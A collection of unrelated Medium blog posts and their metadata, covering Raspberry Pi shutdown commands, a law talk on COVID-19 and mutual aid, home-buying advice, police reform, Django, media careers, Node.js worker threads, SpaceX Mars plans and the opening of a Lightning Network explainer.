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How To Restart Raspberry Pi Safely And Quickly | To avoid damaging the file system on the SD card, you should always shut down and reboot the Raspberry Pi properly (not just unplug the power cord).
To safely shut down or reboot your Raspberry Pi through the GUI, simply find the appropriate buttons in the menu.
In this post, I will show you how to restart raspberry pi from the command line (or you can see video lessons)
When RPi (or any other UNIX-like system) shuts down or reboots correctly, using commands from the terminal or their GUI equivalents, it first tries to shut down all gracefully processes by sending them a SIGTERM signal, which notifies them to save data and shut down. After a while, to all remaining processes, it sends SIGKILL, unmounts all file systems and sends the appropriate command to the ACPI power management interface.
Turn off the Raspberry Pi
Use any of the above commands to turn off the RPi correctly:
$ sudo halt
$ sudo poweroff
$ sudo shutdown -h now
$ sudo shutdown -h 10 # after 10 minutes
$ sudo init 0
Once the shutdown process is complete, the green LED on the Raspberry Pi board will blink a few times — it is then safe to disconnect the power cable.
It’s okay if only the red LED stays on — it means that the Raspberry Pi is connected to a stable power source.
Safely reboot Raspberry Pi
Execute any of the following commands to safely reboot the RPi:
$ sudo reboot
$ sudo shutdown -r now
$ sudo shutdown -r 10 # after 10 minutes
$ sudo init 6
How do I restart my Raspberry Pi from a remote system?
Something like this might help:
ssh [email protected] 'echo raspberry | sudo shutdown -r now'
this command connects to your Raspberry using SSH and issues a restart command, make sure you replace 192.168.1.XXX with the real address.
Have fun guys & girls!
You might also want to know other tricks with RPi: | https://medium.com/@jamesjdavis/how-to-restart-raspberry-pi-safely-and-quickly-488243907fa3 | ['James J. Davis'] | 2020-12-10 16:36:34.565000+00:00 | ['Raspberry Pi', 'Raspbian', 'Raspberry Pi 3', 'Raspberry Pi 4'] |
COVID-19 and Law: Mutual Aid, Civic Friendship, and the Bad Man | Lessons from Some Law Students About Our Shared Humanity Amidst a Global Pandemic
The following is a talk that was publicly delivered on Tuesday, March 31, 2020, as part of “COVID-19: A Virtual Up-to-the-Minute Discussion of the Pandemic’s Impact So Far,” sponsored by The Ohio State University’s College of Public Health.
I’m glad we are all here today. Community matters. I’m very thankful to be in community like this with you all.
I am a law professor. I teach and write about law. Today I want to talk with you about how the moment that we — women, men, and nonbinary people — are living in has the potential to alter what we think about, need, and get from the law.
In many ways, what we’re collectively doing in this moment of crisis is remarkable. It’s going to change how we live. Nobody knows all the ways. We aren’t only now busy caring for ourselves and our loved ones — as much as we are doing that. The social distancing and isolation we are practicing is itself a great, heroic act of civic friendship. We are filling in the spaces between us with shared, fundamental values: of relationships, and of caring for the welfare of our communities.
Examples of civic friendship abound. Thinking locally, emergency personnel — nurses, doctors, and other health care providers and first responders of different sorts — are daily risking their wellbeing to care for and engage with total strangers who are or may be sick. So, too, are workers working all along newly reconfigured food supply chains and other laborers supplying essential services. These folks didn’t sign up for hazardous work at non-hazard pay, but they’re showing up, shift after shift, and doing it just the same.
Our students, including law students, are showing up, too, outside of their classes, in some new ways. I’ve recently learned about how some of our students are undertaking community work, appropriately socially distanced, involving mutual aid with strangers with needs.
Mutual aid — a type of civic friendship that can trace roots to the radical left as well as to federalist republican traditions — is neither charity nor professional nor not-for-profit work. Aid is among equals. It recognizes that needing is part of the human condition, distinctively, but not only, in crisis. Figuring out what our needs actually are and asking for help in getting them met can itself be a gift that allows another human being in, to meet a need that stands ready to be met. Exchange in this setting is mutual, equal, dignified, respectful. Done right, these exchanges aren’t transactions but practices in new ways of witnessing and being with ourselves and others. Political ideals like mutuality, equality, dignity, and respect don’t refer here to how the government should treat those it rules. These political ideals are embodied civic practices that manifest inside us and in our relations with others. The “civic friendships” that result can change us as they change the social worlds we co-create: worlds that hold us together in crisis moments and beyond.
As I’ve learned when trying to experiment with practices like these in my teaching and writing, it’s easier to describe this work than actually do it — especially well. Then along come these students working it out in real time. There they are building platforms that invite people to name and claim needs — around food, finances, shelter, among other things — that others in the community are invited to meet. Strangers helping strangers this way locally forge new friendships and communities, with ever-widening ties across the state.
It feels right to thank and honor these students for their work, including for the teaching it does. And the questions it asks us to ask ourselves through its example: What needs of our own might drive us to consider making similar offerings? How might we learn to receive by giving? Or give by receiving?
Civic friendship doesn’t work by the state’s command: be and act as friends. It works because it’s voluntary. Understanding that, civic friendship might not seem to involve law at all. What does, by contrast, when we think of the law in moments of crisis, is legal regulation that involves civic friendship’s opposite: civic animosity, or enmity. Civic enmity is an idea that may remind us of Oliver Wendell Holmes’s lessons that law is about “the bad man.” Holmes’s “bad man” proves Thomas Hobbes right: That life in nature, being nasty, brutish, and short, involves a war of all against all. The state’s job on this view is to exercise its proper monopoly on legitimate violence, controlling the bad man through sanctions that stop or deter him from doing bad things. Law should be on its toes in crisis when to the bad man the sky’s the limit, a time for acts that law does or could bar like price gouging, fraud, exploitation, discrimination, and interpersonal and social violence. Mayhem? That’s him.
If law is about the bad man, it’s easy to suppose the legal rules that regulate him are good, perhaps written, enforced, and interpreted by his sworn enemies: good men, or good people. These possibilities can be true, of course, but in our political tradition, way back to the Founding Fathers and before, recalling hard experience, structures of government are widely crafted to handle the prospect that government will fall into the hands of bad men or men who start out good but are corrupted by power.
This helps explain why we can so readily think about government as providing for the general welfare and the blessings of liberty, while also thinking about how it constantly threatens them and us. Recognizing these threats, legal traditions, some in the form of constitutional rights, promise to protect us all from a government that would steal our individual and collective freedoms.
So, we can praise government while remaining ever vigilant, alert to its dangers. In the present tense, this means being genuinely thankful for the good government from political leaders like Ohio Governor Mike DeWine, while keeping our eyes peeled for governmental abuses of power. Hence the struggles over government money, watchdogs, and where medical supplies, including tests, masks, medicines, ventilators, and, hopefully soon, safe and effective vaccines, will go. We keep faith with our legal traditions by thinking about the government providing these things and also who will get them or other governmental goods like police protections as first responders themselves get sick. We are vigilant because our rights to life, liberty, equality, and the pursuit of happiness depend on it.
What we have, then, is a complicated picture in a complicated moment. We have civic friendship and its possibilities, including thinking about law from the perspective of good persons. And we also have thoughts of needing to write law to control the bad man. As well as thoughts of good government that can go bad.
This complicated picture being basic to how we live together, we can find reflections of it in common rituals like songs our communities sing. Think here, for example, of the oldest song at The Ohio State University: Carmen Ohio. Its first verse famously speaks, “hearts rebounding thrill [w]ith joy,” about the “firm friendship” of Ohio, of which we who have lived in the state are all a part. The second verse talks of the good and joys that that friendship brings in the “jolly days of priceless worth / [b]y far the gladdest days on the earth.” But then — ominously — the next verse brings a sharp shift. Talk of “friend” turns into talk of “foe,” as words paint a picture of sailing on “seas of care” “[n]eath blackened sky” and “barren shoal.” If the first and second verses remind us of the power of friendship for good and delight, the third reminds of the perils of enmity, an enmity that is ultimately overcome by thoughts of our beloved Ohio that “bid darkness go.”
If the moral of Carmen Ohio is that enduring bonds of friendship may carry the day, this may yet prove true of civic friendship in real life. The bonds of relationship and of caring for the needs of our communities and their welfare do run very deep. We’re apart today — not in person — because of them. But these bonds are not yet so deep that we can release all concerns about the bad man and a government that can harm us as easily as it gives us a lift. Look at how civic friendship is playing out in national politics: Politicians, so often politically at odds with one another, are coming together as civic friends through relief legislation to make government work for the people, caring for our national political community’s needs as we weather the present storm, together.
What will law look like on the other side? Who can tell? Undoubtedly, it will be some variation of the picture just described: of friendship, of the enmity of the bad man, and of actions by the government that we need to help us but without violating our rights.
What I mean to say here is that one key element in all that we do now involves how well we can manage to get in touch — and stay in touch — with the importance of the idea and practice of mutual aid, which reveal the human condition as a condition in which we all need and need to take (better) care of one another, not as “others” but as ourselves.
This is a lesson that some of our students are powerfully teaching us through their actions. My day job is as a teacher of students. I am also, however, a student of my students’ teachings. I hope you will be — I am tempted to say, I need you to be — too.
Thank you.
© 2020 by Marc Spindelman, All Rights Reserved.
Marc Spindelman is the Isadore and Ida Topper Professor of Law, Michael E. Moritz College of Law, The Ohio State University. | https://medium.com/@spindelman/covid-19-and-law-mutual-aid-civic-friendship-and-the-bad-man-e60e85105b88 | ['Marc Spindelman'] | 2020-05-25 15:29:20.649000+00:00 | ['Mutual Aid', 'Co Vid', 'Law', 'Public Health', 'Friendship'] |
Three Reasons to Buy a House | Three reasons to buy
1) Limited Supply
Money flows from one asset to another in this economy. If you ever watch Bloomberg or CNBC or any of the “money” networks, you hear about money is moving towards large-cap stocks, or small-cap stocks, or bonds… commodities, gold, silver, real estate, or even just leaving their money in cash.
The big guys, the hedge funds and private equities, etc., have teams of people trying to figure out which asset class is about to take off, which is about to collapse, or simply in which can they eke out another percent or two over the other asset classes over the next year.
In this flow of money, you will notice one thing in particular. The reason that whenever the worries about the future of the economy get to a particular point, gold prices go up (as well as bitcoin these days). This is simply because there is a finite supply of gold (and bitcoin).
Well, Real Estate is the same way. God isn’t creating more land. Supply is finite. And if you have ever looked at a population growth chart over the last 100 years, you can see demand has been exploding. Population growth will slow down and reverse eventually but not for at least a hundred years or so by all projections.
This doesn’t mean that real estate doesn’t go through cycles where prices rise and fall. It doesn’t mean that certain locations don’t rise and fall faster than others. But it does mean over a long enough span of time; prices will keep going up.
2) Your life is settled (at least for a while)
i.e., you won’t have to sell in a couple of years.
The problem you probably thought about above is, well, what if I have to sell in three or four years to move for a job, family, military posting, or just because I’m young and want to experience new places, things, etc.
Well, yes, if you are planning on moving soon, then there is the chance that you will have bought at a peak and prices will drop, which is not a smart move.
So, make sure you believe you will be in your current location for at least five or so years.
Experts will tell you that the breakeven point where it makes more sense to buy vs. rent is three years. But there are assumptions baked into that calculation that doesn’t include a real estate crash. They assume rent is increasing by a certain percentage; housing prices are increasing by a certain percentage, your closing costs were a certain percentage, and so on. They don’t assume housing will crash 20–30% next year.
So, there is no hard answer here, but I would say make sure you plan to stay at least five years.
Pro-tip — are you currently living in your hometown? Do you have family, friends, parents, etc., around you? Maybe consider buying anyway, even if you are not so certain where you will be in a few years.
You can turn your property into a rental when you leave. You will be returning to your home frequently (or at least occasionally), so you can check in on your property, and when you are not there, you have support from family and friends to help you out.
3) Leverage
Ok, this is the best reason of all to buy. Let’s say you have $25K and are deciding whether to put that into a down payment or put it into stocks.
If you put it into stocks and say buy the S&P 500, which goes up 10% next year. You’ve made a nice $2.5K—a nice 10% return.
If you put down 5% on a $500K house and real estate prices, go up 10% next year. You’ve made a much better return on your money. $50K on a $25K investment or a 200% return.
That is called leverage. Using debt to increase your purchasing power, allowing for greater returns.
Three reasons not to
1) The mortgage interest rate deduction
What do you say? Surely, this should be in the three reasons above?
Well, not after the 2017 Tax Cuts and Jobs Act (TCAJ) was passed. This was the bill that doubled the standard deduction as well as placed a cap on the mortgage interest deduction, so it only applies to your mortgage up to $750K.
I’m sure you’ve heard of the mortgage interest deduction. And you probably have heard advice if you have been thinking about buying a house for any time how buying a house has great tax advantages.
Unfortunately, that is “had” great tax advantages. It no longer does.
So, here’s the thing. A taxpayer has to choose between itemizing and taking the standard deduction, which doubled from $6,350 in 2017 to $12,000 for a single taxpayer. And it will be $12,550 in 2021. This made it, so most people no longer itemize.
To understand this. If you purchased a $400K house with a 3.5% interest rate, you would pay $13,183.76 in interest in the first year of the mortgage. You can either deduct this in your itemized deductions. Or take the standard deduction in 2021 of $12,550.
So, in this example, you will be able to reduce your income, on which you pay taxes, by $634 by itemizing ($13,183.76 — $12,550).
Which, let’s say you are in the 24% tax bracket would save you $152 on your taxes in year one. But hold on, because by year four, this benefit is completely gone as your mortgage interest in year four is down to $12,377.62. And actually, it might be gone by year two because the standard deduction goes up every year.
A couple of caveats. If you have other itemized deductions such as medical or charitable deductions, it may become more of a benefit to itemize. And of course, if interest rates go up and your mortgage interest rate is 4 or 4.5%, it may become more of a benefit.
But then, if you are married and file jointly… well, then the standard deduction is doubled to $25,100, so all that benefit goes away unless you buy an $800K house. Actually, just kidding. That is where the $750K cap on your mortgage comes in.
Tax Summary
Here’s a summary for those of you that just glazed over due to all the tax talk.
Taxpayers in 2017 and prior used to itemize their taxes primarily due to the ability to take the mortgage interest deduction. However, it is estimated that those that itemized their taxes went from 26% to 10% from 2017 to 2018 due to the increased standard deduction. So, again to summarize, the tax advantages of owning a home went away for most people due to the 2017 TCAJ Act.
2) Flexibility
I already discussed this above; this is just the other side.
If you are young, are figuring out how to move cities, or are planning on traveling the world soon. Or just don’t want to have burdens and responsibilities tying you down . Or just want to be able to up and move on a whim to take a better job and keep moving up that ladder, or because that girl or guy you just met lives on the other coast. Well, then this probably isn’t the time to buy.
3) Leverage
But this is an advantage you said above, right? Well, the thing about leverage is it can work for you or against you.
If you made that same $500K purchase in the example above in 2007 and by 2010, the market was down 30%… or god forbid you bought in Vegas or Phoenix in early 2008, and it is now down 50% or more. Well, then you just lost $150K or $250K in the value of your home.
But here’s the thing. Remember, in the first point above, where land is a finite supply. Well, even those markets have returned to the pre-housing collapse levels about five years ago. So, if you are planning on holding that property for the long term, then you mitigate that risk.
But of course, it would have been so much better to put $500K into a house in 2010 vs. 2007. In fact, you would be several $100K ahead now if you bought in 2010. Just a thought for the next time you see an asset collapse. | https://themakingofamillionaire.com/three-reasons-to-buy-a-house-6e59ab8647d5 | ['David Ferrara'] | 2020-12-04 23:19:58.125000+00:00 | ['Housing', 'Economy', 'Real Estate', 'Taxes', 'Personal Finance'] |
How to Reduce or Potentially Eliminate Police Brutality | Police brutality became an issue during the nineteenth century when numerous foreigners began to come into the United States for a better life and opportunities but what they ran into was many problems. Some of those problems were things such as prejudice and hate crimes. With the amount of hate crimes that were occurring, the government had decided they needed to create different laws in which they could regulate public behavior and with those laws, they created the police force who made sure the laws were being followed by citizens. However, in the process of creating the police force which the government had hoped would solve the issue of hate crimes, it created another issue, the separation of citizens and law enforcers (The History of Police Brutality, Cosgrove). To solve this issue, we must know the history behind it and police reformation needs to occur.
One of the ways we can reduce police brutality is by having the police officers trained to address their racial biases and have more training time. This is very important as the “Black Lives Matter” Movement was started because of the amount of police brutality that occurred against many colored people. By law enforcers addressing their racial biases and training with different races, it will allow them to perform their job without allowing their racial biases coming into effect with the situation. According to “How to Reform American Police, according to experts” German Lopez states,” Josh Corell a University of Colorado Boulder psychology professor, tested police for racial biases through a shooting simulation. His initial findings showed officers generally did a good job of avoiding shooting unarmed targets of all races. But when shooting was warranted, officers pulled the trigger more quickly against black suspects than white ones. This suggests that officers exhibit some racial bias in shooting”. The study/test is important as it shows how officers racial biases came into play when shooting the warranted in which could lead to a big mistake in situations and could cause anger throughout communities. The police department must discuss more policing strategies rather than firearm skills and training as the “Data from a 2006 Bureau of Justice Statistics special report Credit: Alvin Chang” shows that “law enforcers are taking 60 hours of firearm skills and 51 hours of training on self-defense compared to 16 hours combined of Community policing strategies and Meditation/conflict management” (Vox Website, Lopez). The statistics imply that the training hours for police officers should spend less time on firearm and self-defense skills and more on policing strategies. If this changes, hopefully police brutality will become reduced or possibly eliminated.
In order to decrease police brutality, police departments should change their procedures and have tighter restrictions as to where and when officers can use force in order to calm the situation. According to the article, “Why Is Police Brutality Still Happening?” it states, “In particular, tighter restrictions on when and how police officers can use force — putting someone in a chokehold, for example, or shooting at a moving vehicle — appear to substantially reduce killings. After making such reforms in 2016, the San Francisco Police Department saw a 30 percent decline in the use of force by 2019, and, as of last May, had gone more than a year without a single officer shooting”(Spencer Bokat-Lindell). By making this change in restriction and protocol, this will allow less citizens to be killed by officers and will reduce the amount of police brutality.
Now, you may be thinking, “What if the officers choose not to follow the protocols and police brutality continues?” well, this is where more harsh punishments come in. With more harsher punishments such as suspensions, job losses, or jail time, it will put law enforcers in a position to where they must follow the right procedures, or they will have consequences. In addition, law enforcers body cameras must be always on to make sure that officers are following the correct procedures and not taking advantage of their power. According to the article, “Being a cop showed me just how racist and violent the police are. There’s only one fix” by Reddit Hudson, he states, “The problem is that cops aren’t held accountable for their actions, and they know it. These officers violate rights with impunity. They know there’s a different criminal justice system for civilians and police… Even when officers get caught, they know they’ll be investigated by their friends, and put on paid leave. My colleagues would laughingly refer to this as a free vacation. It isn’t a punishment. And excessive force is almost always deemed acceptable in our courts and among our grand juries” (Hudson). Based on the information given to us here by the former police officer (Reddit Hudson), it is supported that police officer need a stricter punishment for not following the given procedures.
Ultimately, police brutality is a massive dilemma however, if police reformation takes place, there will be a potential elimination of police brutality and will give the United States citizens one less problem to worry about and will help law enforcers regain the trust of civilians.
Work Cited
Lopez, German. “How to Reform American Police, According to Experts.” Vox, Vox, 1 June 2020, www.vox.com/2020/6/1/21277013/police-reform-policies-systemic-racism-george-floyd. Date Accessed, December 9, 2020
Cosgrove, Abigail Louise. “The History of Police Brutality.” Its a Mad World, 12 Feb. 2015, sites.psu.edu/violenceinamerica/2015/02/12/the-history-of-police-brutality/. Date Accessed, December 9, 2020
Bokat-Lindell, Spencer. “Why Is Police Brutality Still Happening?” The New York Times, The New York Times, 28 May 2020, www.nytimes.com/2020/05/28/opinion/minneapolis-police-brutality.html. Date Accessed, December 9, 2020
Hudson, Redditt. “Being a Cop Showed Me Just How Racist and Violent the Police Are. There’s Only One Fix.” The Washington Post, WP Company, 1 Mar. 2019, www.washingtonpost.com/posteverything/wp/2014/12/06/i-was-a-st-louis-cop-my-peers-were-racist-and-violent-and-theres-only-one-fix/. Date Accessed, December 9, 2020 | https://medium.com/@javier-valencia/how-to-reduce-or-potentially-eliminate-police-brutality-faba05efbca | [] | 2020-12-10 18:41:35.086000+00:00 | ['Police Reform', 'Police Brutality'] |
Django Framework | Django is a high-level Python Web framework that inspires fast development and clean, pragmatic design. Developed by expert developers, it takes care of much of the trouble of Web development, therefore you can concentrate on drafting your app without lacking to reinvent the wheel. It’s free and open source.
When you’re developing a website, you regularly require a related set of parts: a process to control user authentication (sign-up, sign-in, sign-out), a control panel for your website, forms, a way to upload files, etc.
Fortunately for you, other people long past noticed that web developers meet similar difficulties when developing a new website, so they pulled up and designed frameworks (Django being one of them) that provide you ready-made elements to use.
Frameworks live to save you from having to reinvent the wheel and to help relieve some of the burdens when you’re developing a new website.
Why do you need a framework?
To understand what Django is really for, we require to take a closer inspection at the servers. The prime concern is that the server requires to understand that you want it to serve you a web page.
Imagine a mailbox (port) that is controlled for incoming letters (requests). This is begun by a web server. The web server reads the letter and then sends an acknowledgment with a webpage. However, when you want to send something, you require to have some content. And Django is something that encourages you to create the content.
What happens when you request a website from your server?
When a request gets to a web server, it’s transferred to Django which attempts to decide what is requested. It needs a webpage address first and strives to figure out what to do. This role is done by Django’s URL resolver (note that a website address is called a URL — Uniform Resource Locator — hence the name URL resolver makes sense). It is not quite smart — it uses a catalog of patterns and tries to meet the URL. Django checks designs from top to bottom and if something is met, then Django transfers the request to the associated function (which is called view).
Assume a mail carrier with a letter. She is stepping down the road and checks every house number against the one in the letter. If it meets, she puts the letter yonder. This is how the URL resolver operates!
In the view function, all the exciting kinds of stuff are done: we can view a database to see some reports. Perhaps the user requested to change something in the data? Similar to a letter telling, “Please correct the information about my job.” The view can verify if you are entitled to do that, then update the job information for you and send back a message: “OK!” Then the view produces a response and Django can transfer it to the user’s web browser.
The information earlier is a little bit obvious, but you don’t require to understand all the technical information yet. Holding an overall idea is sufficient.
So rather of falling too much inside details, we will start building something with Django and we will learn all the major parts along the way! | https://medium.com/@indranandjha/django-framework-d1a458ed6b95 | ['Indra Nand Jha'] | 2020-05-05 13:36:28.798000+00:00 | ['Django', 'Framework', 'Programming'] |
5 best career options you can look after Mass Communication. | Many people of my age are now just wandering and now getting confused that what they should after 4–5 months when we all graduate. After graduating from this mass communication and journalism field, you got two options, the weather goes straight for a master’s or else do some internship and job gain some experience in the field you want to study further and then go for your masters.
Source-Indian Education
In this field it's no so mandatory to for masters if you want a job, people who are graduated and have a good past experience according to their CV’s also get a good job. The internships do a great job in building and gaining confidence as well as experience.
Most people go for packages and all apart from their interest and skills. Make sure to go to that job which makes you feel good and also you have your interest and skills while doing that job. This field is continuously growing every day. Each and everyday creative people are going high in this field.
People are going for many career opportunities, like influencer, screenwriter, content writer, etc. There is an end number of fields you can seek after doing journalism and mass communication.
Some of them written down below which can help you in choose your interest and skill accordingly.
Content Writing
If you are good at playing with words, make your written part creative, then you must go and try for content writing. Content writers are the professional writers which engage themselves for writing for various websites, blogs, social networking sites.
Source-Medium
Many digital platforms hire content writers. It can be in a media organization, companies, etc. You get a chance to write for different media and a different beat. With your writing skills, you gradually learn what to write, how to write, and one day you will achieve perfection in this field. These writers help in increasing the view on the pages with the help of their content by bringing the target audience.
Public Relations
People having good communication, negotiation, and convening skills can definitely fo for this public relation field. Many big corporate houses and organizations need a Public relations officer. These people not only represent the company but also work to maintain the brand image for the company.
Source-Everything PR
The public relations officer also assigned to many tasks like developing PR strategies and campaigns. They are responsible for preparing and distributing a press release, editing, and updating promotional material. For being a good public relations officer you must have to be organized and capable of handling each and every crisis.
Event Management
Event management is known to be a very vast field. It is to be said that this field never sleeps. To get a successful event these people always have to plan everything instantly and carefully. You can work as a creative planner, event coordinator, or a person who can keep an eye on the finance and budget of the organization. In this, if your event is way too succeed then your reward is also higher than you expected. The profit /margins are always high after conducting successful events. With your talent and skills, you can showcase your skills and creativity in order to make your event successful.
Advertising
We read about advertising and stuff in our bachelor’s degree also. So it's all about how creatively you sell your product with 3–4 lines. The most important thing to showcase in this field is your creativity. The more creative your idea is better the opportunity you will get. A lot of advertising companies in India search for a creative mindset that has innovative ideas for selling the product. There is no life without advertisement. Whenever you step outside, you see banners, boarding, hoarding poster, and whatnot. On social media sites, while watching videos everywhere you are surrounded by advertisements. There is a vast need for such creative artist in the field
Digital Marketing
Digital marketing is the latest trend that is going on in the market. This job is linked with advertising as well as public relations. Digital marketing is known to be a new trend for marketing through digital marketing.
Source-Entrenprneur
From learning how to bring audience traffic to your sites and pages to promoting brands and products it’s a new deal. Search Engine Optimization, email marketing, social media marketing, content marketing, web analytics, and many more various specializations are here which are usually picked by students nowadays. Nowadays a job in digital marketing is a game-changer or highly rewarding for you and your career.
Social Media Executive
We all know how badly social media has taken over everything in such a short period of time. If you are technically sound and creative in such social media platforms as Instagram, Facebook, Twitter, etc, you can take this as your profession and go ahead with this. If we talk about social media executive, you have to work upon social media as today's generation is very much dependent on social media for each and everything. From promoting events, charities to advertisements all across social media, you will never have to get a dull job. Also, it is known to be another highly rewarding career options. | https://medium.com/@bhatiabeepasha7/5-best-career-options-you-can-look-after-mass-communication-5bdd7f0b9226 | ['Beepasha Bhatia'] | 2020-12-18 14:13:58.052000+00:00 | ['Digital Marketing', 'Advertising', 'Mass Communications', 'Social Media', 'Content Writing'] |
Running cpu-heavy tasks with nodejs worker-threads | Introduction
Due to the nature of nodeJS running all code/requests in a single thread, this can easily lead to latency in a server environment, as additional requests have to wait until the only thread is available to process their need.
To address this issue, we decided to extract the CPU heavy part of the excel sheet creation into a separate worker process — a feature of nodeJS which is considered stable since Node12: https://nodejs.org/docs/latest-v14.x/api/worker_threads.html#worker_threads_worker_threads.
The challenge
The challenge we faced in our nodeJS Server (koaJS) application is that the end-user might request Excel file to be downloaded. This file is currently transfered as base64 encoded string. There are multiple aspects here that are potentially cpu intensive: creating the datastructure of the excel file & writing it to the buffer (which will also include zipping, as *.xlsx files are zipped) and converting it to a base64 string.
Also the data to be exported in the excel file is not residing in our system, so we have to request it over the API of another system. This is considered an I/O heavy task, which are handled well by the nodeJS architecture and is fine to be kept on the worker thread.
When having all those things ready, we just need to ensure to kick off our worker thread with all the needed information and wait for it’s result to return it to the client. Let’s see how we do that
The solution
The central function that we want to run on the worker thread is in our case called “buildPersonExcel”.It generates the excel sheet, writes the file to the buffer and converts it to a base64 string (to be sent to the client). This can be replaced with any other cpu intensive task (i.e. prime numbers calculation) on that you need with it’s matching parameters and return type.
const buildPersonExcel = async (
persons: Persons[]
): Promise<string> => {
const workbook = new ExcelJS.Workbook(); const sheet = workbook.addWorksheet('My Sheet');
sheet.columns = [
{ header: 'Id', key: 'id', width: 10 },
{ header: 'Name', key: 'name', width: 32 },
{ header: 'Surname', key: 'surname', width: 32 },
]; persons.forEach((person, index) => {
const row = sheet.getRow(index + 2);
row.getCell(1).value = person.id;
row.getCell(2).value = person.name;
row.getCell(3).value = person.surname;
}); const buffer = await workbook.xlsx.writeBuffer();
const base64String = buffer.toString('base64');
return base64String;
};
The next step is that through the call hierarchy coming from the clients request, we will need to trigger this excel file creation. For that first the persons need to be loaded from the external person service. The next step is to wrap the worker thread execution into our own workerPromise, so we can easily await it’s result.
The worker will be created with the new Worker(…) command, pointing to the current filename and taking the prepared parameters as data. As next step, the promise’s resolve/reject are conneted to the worker callbacks. Last of all, we launch the worker by posting the message.
Now the result can conveniently be awaited!
interface ExcelData {
persons: Person[];
} public createExcelSheet = async (): Promise<string> => {
// access persons from an external resource
const persons = await this.personService.fetchPersons(); const workerData: ExcelData = { persons };
const workerPromise = new Promise<string>((resolve, reject) => {
const worker = new Worker(__filename, {
workerData: workerData,
});
worker.on('message', resolve);
worker.on('error', reject);
worker.on('exit', (code) => {
if (code !== 0) reject(new Error(`Worker stopped with exit code ${code}`));
});
worker.postMessage(workerData);
});
const result = await workerPromise;
return result;
};
Now there is one missing aspect to it all: Where is our buildPersonExcel function actually being called? There needs to be in the same file (as we spawn the worker on __filename) as the createExcelSheet some global code that needs to be executed. Therein we check if it is the mainThread or not — on the mainThread, we dont want to trigger (or rather watch for) the workerprocess execution.
Simply listening on the parentPort for triggered messages, we can run with the transfered data the cpu heavy buildPersonExcel function and once it returns the result, we post it back on the worker thread infrastructure
if (!isMainThread) {
if (parentPort) {
parentPort.once('message', async (data: ExcelData) => {
const result = await buildPersonExcel(data.consultations, data.businessPartners, data.users);
if (parentPort) {
parentPort.postMessage(result);
}
});
}
}
Conclusion
Overall we are very happy with the simplicity of the solution and the added benefit that can be gained through it, solving one of the bigger problems that one might face using nodeJS. We also appreciate it, that it can be solved with a solution provided by nodeJS itself and not some magical npm package.
Performance of this case
Most aspects that are blocking the main thread could be extracted to the worker thread. But by extracting it, the runtime environment needs to serialize the data, which again is cpu heavy on both main thread and worker thread (where we don’t care that much).
This could be also avoided by running the persons fetching inside the worker thread — but in our case we didn’t want to burden the worker threads with the complexity of main threads startup & context creation. We might need to handle database connections, read environment variables, … on that worker thread, which we felt is a overkill for the scenario the need we currently have.
Extensability of our solution
The current approach with one piece of code directly in the same file as the worker instantiation is nice and simple, but once the amount of worker usages increases, some abstraction of this will be required. Having a dedicated entrypoint (file) for all workers would allow us to better structure the code around it and not loose ourselfs in workers beeing created left and right throughout the server and thus loosing the overview of the inner workings and increasing maintenance cost.
Appendix
Setup (tech involved)
NodeJS 14
Server: https://koajs.com/ & Typescript
Excel generation: https://github.com/exceljs/exceljs
Further readings | https://medium.com/@christoph-salvisberg/running-cpu-heavy-tasks-with-nodejs-worker-threads-436acb82c871 | ['Christoph Salvisberg'] | 2020-12-23 12:50:25.766000+00:00 | ['Performance', 'Threading', 'Nodejs'] |
Elon Musk: First Mars City Will Take 1,000 Starships, 20 Years | Musk believes creating a sustainable city on the red planet requires transporting a million tons of cargo from Earth over two decades.
By Matthew Humphries
Elon Musk is never one to shy away from answering the difficult questions regarding his ambitious projects, which is why we now have a delivery time for the first Mars city.
As TechCrunch reports, earlier this week Musk spoke at an Air Force Pitch Day in San Francisco, which offer investment to interesting startups that could advance military technology. The talk and questions that followed touched on Musk’s business interests including Tesla and SpaceX, but also resulted in further discussion on Twitter.
The tweeted questions stemmed from the claim each SpaceX Starship launch would only cost $2 million, because as Musk explained, “the economics have to be something like that to build a self-sustaining city on Mars.”
As the discussion continued, Musk shared further details in response to the questions posed. We now know that Musk believes he’ll require 1,000 Starships in order to create the first sustainable Mars city. The reason so many are required is due to the two planets only aligning once every two years and the fact each Starship is limited to 150 tons of cargo.
As to how long the city would take to build, Musk also has an answer. He believes the city will require a million tons of resources transported from Earth, so using those 1,000 Starships it would take roughly 20 years to complete. In other words, Musk could be living on Mars before 2050, assuming he’s capable of making the journey in his 70's. | https://medium.com/pcmag-access/elon-musk-first-mars-city-will-take-1-000-starships-20-years-99b8c815a7e8 | [] | 2019-11-08 14:03:01.636000+00:00 | ['Future Technology', 'Space', 'Mars', 'Elon Musk', 'Technology'] |
Delta Airlines Flights To Florida(FL): Cheap Tickets and Deals | Delta Airlines.
Delta Airlines: Book Last Minute and Cheap Flights To Florida
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Thus, with the assistance of the above data, we trust that you observe the best Delta Airlines Cheap Flights Reservations trips to Albuquerque and find the opportunity to go to investigate this spot. | https://medium.com/@deltaairlines293/delta-airlines-flights-to-florida-fl-cheap-tickets-and-deals-67b3c4ea9456 | [] | 2021-12-16 12:08:12.590000+00:00 | ['Travel', 'Airlines', 'Flights Booking'] |
Lightning Network ⚡🕸 | Explained in (relatively) plain English.
First, we discuss why we need it (part 0) and describe an idea of payment channels and Lightning Network (part 1). Then we introduce required building blocks (part 2) and see how these blocks can be used to create payment channels (part 3). We then finally build Lightning Network, discuss its properties (part 4), and sum it all up (part 5).
Disclaimer. I consciously omit/simplify some of the technical details. And also I am not an expert, and can be simply wrong.
0. Why?
Bitcoin blockchain is a kind of decentralized database that stores every bitcoin transaction ever made. Here “every transaction ever” is a fundamental part of the protocol design. For system to be truly distributed and to prevent any mistakes, thousands of network nodes need to constantly double check each other and to record all the transactions.
Of course, this does not help scalability at all. Blockchain requires tens of gigabytes of hard drive storage, blocks are full, fees are rising, people are angry and fork bitcoin. Because of all that, alternative solutions are currently being developed. And one of these solutions is Lightning Network (LN).
1. Idea
The idea of the Lightning Network, which belongs to a broader set of second layer solutions, is actually quite simple.
💡 Instead of storing and verifying all the transactions in the blockchain, let’s conduct most of the transactions “off-chain”. The main blockchain will mostly be used to synchronise the balances from time to time and to resolve conflicts. And as usual, this will all work using cryptomagic.
This sounds intriguing, but absolutely unclear how…
1.1. Payment channel
Let’s start with simplifying the lives of two people (Alice and Bob), who often transact between each other. The following scheme is proposed.
